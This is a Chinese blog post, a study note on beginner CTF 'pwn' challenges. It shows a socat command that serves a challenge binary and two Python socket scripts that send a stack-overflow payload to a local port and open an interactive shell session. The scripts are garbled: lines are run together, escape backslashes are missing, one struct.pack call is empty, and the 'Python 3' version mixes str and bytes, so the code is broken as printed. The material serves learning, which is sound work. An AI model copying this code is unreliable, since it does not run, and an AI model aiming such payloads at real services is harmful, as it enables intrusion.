初探使用python打PWN

admin 2024年3月22日15:48:40评论6 views字数 1769阅读5分53秒阅读模式
初探使用python打PWN

免责声明

初探使用python打PWN

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

初探使用python打PWN

前言

初探使用python打PWN

本文为B站国资社畜大佬《你想有多PWN》视频教程的学习实践笔记,感兴趣的可以点击阅读原文去看视频教程。

初探使用python打PWN

SOCAT远程部署PWN题

初探使用python打PWN

可以使用如下socat指令,把我们的PWN题目远程部署上:

socat tcp-l:8888,fork exec:./question_2_x64,reuseaddr

其中:

  • socat:调用socat工具。

  • tcp-l:8888:这部分指定socat监听TCP连接。tcp-l代表TCP监听模式,8888是端口号,表示socat会在本地的8888端口上监听进来的TCP连接。

  • fork:这个参数告诉socat对于每个进来的连接,都应该通过forking(分叉)一个新的进程来处理。这意味着socat能同时处理多个连接,每个连接都有其自己的进程。

  • exec:./question_2_x64:当socat接收到一个新的连接时,它会执行exec:后面指定的命令。在这个例子中,它会执行当前目录下的question_2_x64程序。这个程序必须是可执行的,并且这部分的路径应该根据实际的程序位置进行调整。

  • reuseaddr:这个参数允许socat重新使用同一个地址和端口。这在程序频繁重启,或者是在之前的连接还处在TIME_WAIT状态下时特别有用,因为这可以让你无需等待就能重新绑定到相同的端口。

初探使用python打PWN

部署上之后,我们就可以nc连接8888端口,尝试打PWN了:

初探使用python打PWN

初探使用python打PWN

使用Python脚本打PWN

初探使用python打PWN

给出python代码示例:

import socketimport telnetlibimport structdef P32(val):        return struct.pack("", val)def pwn():        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect(("127.0.0.1", 8888))        payload = 'A'*0x8 + 'x10'        s.sendall(payload + 'n')        t = telnetlib.Telnet()        t.sock = s        t.interact()if __name__ == "__main__":    # socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddr        pwn()

简单讲解以下脚本内容:

  • 创建一个socket连接:这个部分使用socket模块创建了一个TCP连接到本地主机的8888端口上。这个端口与前面提到的socat命令创建的服务端口相匹配。

  • 构造payload:变量payload被赋值为'A'*0x8 + 'x10',这个字符串由8个"A"字符和一个转义字符x10组成。这种payload通常用于溢出或改变程序的正常流程。

  • 发送payload:通过socket发送payload加上一个换行符。

  • 使用telnetlib进行交互:创建了一个Telnet对象,并将其socket属性设置为之前创建的socket连接。然后调用interact()方法进入交互模式,允许用户通过telnet会话与远程服务交互。

但是这里我们的payload应该是任意8个字符+“deadbeef”,而且这是基于python2的,我们乐意改成python3,因此我们稍微修改一下:

import socketimport telnetlibimport structdef P32(val):    return struct.pack("<I", val)def pwn():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect(("127.0.0.1", 8888))    payload = 'aaaaaaaadeadbeef'    # 使用sendall发送字节数据,注意换行符也需要是字节类型    s.sendall(payload + b'n')    t = telnetlib.Telnet()    t.sock = s    t.interact()if __name__ == "__main__":    pwn()

然后直接执行看看是否成功:

初探使用python打PWN

原文始发于微信公众号(赛博安全狗):初探使用python打PWN

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日15:48:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初探使用python打PWNhttps://cn-sec.com/archives/2595207.html

发表评论

匿名网友 填写信息